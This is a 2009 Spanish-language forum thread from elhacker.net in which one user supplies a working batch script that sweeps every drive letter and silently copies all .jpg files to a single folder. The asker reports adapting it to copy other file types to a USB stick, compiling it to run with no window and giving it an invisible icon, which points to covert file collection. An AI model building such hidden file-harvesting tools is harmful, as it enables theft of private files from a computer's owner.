Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: titan6146 en 2 Junio 2009, 03:31 AM

Título: Copiar todas las imagenes de una carpeta [batch]
Publicado por: titan6146 en 2 Junio 2009, 03:31 AM
buenas noches
quiero crear un bat que escanee los discos y sub carpetas y copie todos los archivos (jpg por ejemplo) en una carpeta y que lo haga en forma invisible
Se puede hacer eso ?
gracias
Título: Re: Copiar todas las imagenes de una carpeta [batch]
Publicado por: leogtz en 2 Junio 2009, 05:41 AM
Prueba esto:
Código (dos) [Seleccionar]
@echo off
cd /d "%homedrive%\"
if not exist "copiadas" (mkdir "copiadas")
for %%_ in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
dir %%_: > nul 2>&1 && (
call:copia %%_:\
)
)
goto:eof
:copia
for /f "tokens=*" %%_ in ('dir %1*.jpg /b /s 2^>nul') do (
copy /y "%%_" "%homedrive%\copiadas" > nul 2>&1
)
goto:eof


Las copia en tu disco duro %homedrive%, en una carpeta llamada copiadas.

Saludos.
Título: Re: Copiar todas las imagenes de una carpeta [batch]
Publicado por: titan6146 en 2 Junio 2009, 21:45 PM
sos un fenomeno funciona de primera igual yo le hice algunas modificaciones para que me copiara archivos con otra extensión en una carpeta especifica en el pendrive
Apelando a tu experiencia donde deberia ponerle el comando ATTRIB /-h creo que era este, para ejecutarlo en forma oculta osea que no se vea ni siquiera la ventana de dos
Gracias
Título: Re: Copiar todas las imagenes de una carpeta [batch]
Publicado por: titan6146 en 2 Junio 2009, 22:21 PM
listo!!! ya lo solucione lo compile con quickbfc.120.exe y lo puse a trabajar en forma invisible aparte le meti un icono invisible tambien
te agradezco enormemente tu tiempo muchas gracias